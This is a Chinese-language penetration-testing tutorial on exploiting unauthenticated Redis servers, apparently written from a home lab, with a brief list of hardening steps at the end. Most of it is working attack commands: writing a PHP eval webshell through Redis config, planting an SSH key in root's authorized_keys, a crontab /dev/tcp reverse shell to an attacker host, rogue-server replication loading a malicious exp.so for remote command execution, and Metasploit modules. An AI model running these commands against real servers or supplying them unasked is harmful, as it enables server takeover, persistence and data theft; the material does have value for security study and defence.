原理分析
Redis
默认情况下,会绑定在 0.0.0.0:6379
,这样将会将 Redis
服务暴露到公网上
如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis
的情况下可以利用 Redis
的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器
条件:
redis
服务以root账户运行redis
无密码或弱密码进行认证redis
监听在0.0.0.0公网上
利用方式:
- 通过info命令,可以查看服务器相关参数和敏感信息,为攻击者的后续渗透做铺垫
- 上传SSH公钥获得SSH登录权限
- 通过
crontab
反弹shell - Web目录下写
webshell
- slave主从模式利用
可通过相关扫描工具判断是否有Redis未授权漏洞:
yakit:
SSH的密码强度不影响后面Redis未授权的利用,这里设置SSH弱密码只是为了方便测试
fscan:
写webshell √
192.168.40.148:6379> config set dir /var/www/html/ # 需要本来就有这个目录,可能需要通过docker exec -it <容器ID> bash进入靶机,然后cd /var;mkdir www;cd www;mkdir html;cd html;
OK
192.168.40.148:6379> config set dbfilename webshell.php
OK
192.168.40.148:6379> set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n" # 这里的\n\n\n适用于Linux,如果是Windows,使用\r\n\r\n
OK
192.168.40.148:6379> save
OK
攻击机:
靶机内部:
如果是在网站目录后就可以用蚁剑连接了,这里不做演示
写入公钥 √
利用条件:
- Redis服务使用root账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
# 先在攻击机上生成公钥
ssh-keygen -t rsa
连续三次回车
在攻击机上执行:
将公钥写入靶机:
# flushall #攻击不成功的话可以先试试清空数据库,但在实战中就不要用这个命令了
(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > ~/test.txt # 公钥前后都有三个空行
cat ~/test.txt | redis-cli -h 192.168.40.148 -x set x # -x表示从标准输入读取数据作为该命令的最后一个参数,就是把test.txt的内容当做value插入
redis-cli -h 192.168.40.148
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> save
连接:
ssh [email protected] # 确保容器内正在执行:/usr/sbin/sshd -D
计划任务弹webshell √
Crontab主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,相当于是每隔一段时间自动执行命令
只能在centos环境中利用因为centos环境中的计划任务文件可以忽略乱码,ubuntu环境因为无法忽略文件中的乱码因此无法使用。
# 清空 key-此命令慎用
# flushall
# 设置要操作的路径为定时任务目录
config set dir /var/spool/cron/
# 设置定时任务角色为 root
config set dbfilename root
# 设置定时任务内容
set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.40.146/1234 0>&1\n"
# 保存操作
save
效果:
攻击机:
靶机:
攻击机:成功获取webshell
远程主从复制RCE √
漏洞原理:
- 漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式是指使用一个Redis作为主机,其他的作为备份机(从机),主机和从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力。在Redis 4.x之后,通过外部拓展可以实现在Redis中实现一个新的Redis命令,通过写C语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机中。然后再从机上加载恶意so文件,即可执行命令
# Redis-rogue-server工具下载地址:
https://github.com/n0b0dyCN/redis-rogue-server # 可指定Redis密码
可以先看使用方法:
python3 redis-rogue-server.py -h
拿着工具直接打,然后拿到shell:
python3 redis-rogue-server.py --rhost 192.168.40.148 --lhost 192.168.40.146 --lport 1234 # 默认端口是21000
直接就拿到shell了
也可以将这个shell弹到其他攻击机上,要注意提前开启监听:
nc -lvnp 12345
这里因为懒得用其他机器了,所以还是把原来的攻击机作监听
redis-rogue-getshell
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"
本地Redis主从复制RCE反弹shell √
- 对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件到本地,接着载入恶意.so文件模块,反弹shell到远程主机
首先将redis-rogue-server-master下的exp.so复制到Awsome-Redis-Rogue-Server-master下来
cp /tmp/redis-rogue-server-master/exp.so /tmp/Awsome-Redis-Rogue-Server-master/exp.so
# 执行exp.so文件
python3 redis_rogue_server.py -v -path exp.so
# 加载exp.so文件,用于后面的主从复制
>module list
>config set dir /tmp # 一般tmp目录都有写权限,所以选择这个目录写入
>config set dbfilename exp.so
>slaveof 192.168.40.146 15000 # 设置主从同步,将恶意so文件写入到/tmp目录
>module load ./exp.so # 加载写入的恶意so文件模块
>module list # 查看恶意so有没有加载成功,主要看有没有"system"
# 在远程主机上开启监听
nc -lvnp 1234
system.rev 192.168.40.146 1234 # 将shell弹到远程主机上
远程主机上得到shell:
顺便回头看看exp.so:
MSF攻击 √
设置Redis的临时密码:
# 查看密码
config get requirepass
# 设置临时密码
config set requirepass 123456
# 登录
redis-cli -h 192.168.40.148 -a 123456
# 查看密码
config get requirepass
可以先使用Yakit爆出Redis的弱密码:
也可以全程使用MSF:
先通过scanner/redis/redis_login模块得到Redis密码:
然后通过scanner/redis/redis_server
模块得到Redis的有关信息:
把下面这一部分丢给chatGPT处理即可:
当然仔细看的话也可以得到对应的信息
最后通过linux/redis/redis_replication_cmd_exec模块得到主机shell:
这个SRVHOST为本地主机或远程主机的IP
防护
- 绑定内网ip地址进行访问
- requirepass设置redis密码
- 保护模式开启protected-mode开启(默认开启)
- 最好更改默认端口
- 单独为Redis设置一个普通账号,启动Redis